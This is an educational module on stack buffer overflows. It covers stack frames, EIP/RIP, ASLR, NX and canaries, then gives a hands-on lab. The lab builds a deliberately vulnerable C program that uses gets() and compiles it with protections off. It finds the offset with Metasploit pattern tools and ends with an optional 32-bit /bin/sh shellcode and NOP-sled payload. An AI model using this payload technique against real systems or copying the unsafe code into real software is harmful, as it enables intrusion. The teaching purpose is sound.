Buffer Overflow

Objectives: By the end of this topic, you will be able to…

  • Conceptually explain what a buffer overflow is
  • Analyze a vulnerable binary at a low level
  • Manipulate the program’s execution flow
  • Understand system protections and how they influence exploitation

What is a buffer overflow?

A buffer overflow occurs when a program writes more data than a memory buffer can hold, overwriting adjacent areas. This behavior can be exploited to manipulate the program’s execution flow and execute arbitrary code.

This vulnerability is common in programs written in C or C++, which do not automatically check array bounds.


Program memory: stack, heap, and registers

Stack

  • Memory area where local variables and function return addresses are stored
  • Works as a LIFO structure
  • Highly prone to overflow vulnerabilities

Heap

  • Memory area for dynamic allocation (e.g., malloc)
  • Less structured, but also vulnerable to overflows (heap overflow)

CPU Registers

  • Registers such as EIP/RIP (32/64-bit) store the address of the next instruction to execute
  • Overwriting these registers allows redirecting the program’s execution flow

Function structure in assembly (stack frame)

When a function is called, a stack frame is created:

|---------------------|
| Parameters          |
| Return Address      | <- EIP/RIP
| Base Pointer (EBP)  |
| Local Variables     |
|---------------------|

Overflowing a local buffer can overwrite the return address, redirecting the program’s flow to malicious code.


EIP / RIP and control of execution flow

  • In 32-bit systems: EIP (Extended Instruction Pointer) holds the next instruction address
  • In 64-bit systems: RIP (Register Instruction Pointer) is used
  • A successful buffer overflow overwrites this value to divert execution to shellcode or a controlled address

Modern protections

ProtectionDescription
ASLRRandomizes memory region locations to prevent jumping to predictable addresses
DEP / NXMarks memory regions as non-executable (like the stack)
Stack CanariesRandom values before the return address that detect overwrites

These protections can be disabled in lab environments to facilitate learning.


Basic exploitation techniques

  • Offset identification: determine how many bytes are needed to reach the return address
  • EIP/RIP overwrite: replace the return address with a useful one (NOP sled or shellcode address)
  • Execution payload: inject code (reverse shell) or reuse existing gadgets (ROP)

Common tools: gdb, objdump, pwndbg, Python scripts with pwntools, compilation with -fno-stack-protector -z execstack


Hands-on lab

Requirements: Kali Linux, gcc, gdb, Metasploit pattern tools

Part 1: Analysis of the vulnerable binary

  1. Vulnerable source code:
#include <stdio.h>
 
void vulnerable() {
  char buffer[64];
  gets(buffer);
}
 
int main() {
  vulnerable();
  return 0;
}
  1. Analyze with gdb:
gdb ./bof
info functions
disassemble vulnerable
  1. Investigate: where is the buffer stored? What is the return address? What happens with more than 64 bytes?

  2. Recompile without protections:

gcc -fno-stack-protector -z execstack -no-pie -o bof bof.c

Part 2: Offset identification

  1. Generate an identifiable pattern:
msf-pattern_create -l 200 > patron.txt
  1. Execute with the pattern:
cat patron.txt | ./bof
  1. Get EIP value from gdb:
gdb ./bof core
info registers
  1. Calculate exact offset:
msf-pattern_offset -q <EIP_value>

Part 3: Controlled EIP overwrite

  1. Generate payload in Python:
offset = <value>
payload = b"A" * offset + b"BBBB" + b"\n"
  1. Execute and verify in gdb that EIP is 0x42424242

  2. Document successful flow control

Part 4 (Optional): Shellcode injection

  1. Select a shellcode (e.g., /bin/sh from Shell-Storm):
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68" \
            b"\x68\x2f\x62\x69\x6e\x89\xe3\x50" \
            b"\x53\x89\xe1\xb0\x0b\xcd\x80"
  1. Create payload with NOP sled + shellcode + return address:
nop_sled = b"\x90" * 32
payload = nop_sled + shellcode
payload += b"A" * (offset - len(payload))
payload += <buffer_start_address>.to_bytes(4, 'little')
  1. Execute and open shell if successful

Submission

  • Screenshots of: gdb analysis, offset identification, EIP overwrite, (optional) shellcode execution
  • Brief report with: payload code, technical explanation of offset, description of EIP overwrite effect, difficulties encountered

Key concepts

TermDefinition
Buffer overflowVulnerability caused by writing beyond the boundaries of a memory buffer
RIPRegisters that store the address of the next instruction to execute
StackLIFO memory structure for local variables and return addresses
ASLRAddress Space Layout Randomization
NOP sledSequence of NOP instructions to increase the probability of reaching shellcode
ShellcodeInjected machine code to open a system shell

Test yourself

  1. Conceptual: Explain step by step what happens in memory when a vulnerable program receives more data than its buffer can hold. What gets overwritten and in what order?

  2. Protections: How does ASLR prevent the exploitation of buffer overflows? What technique (ROP) allows bypassing the NX protection?

  3. Practice: Why is the vulnerable binary compiled with -fno-stack-protector -z execstack? What would happen if you attempt the exploitation without those flags?


Navigation:Previous | Home | Next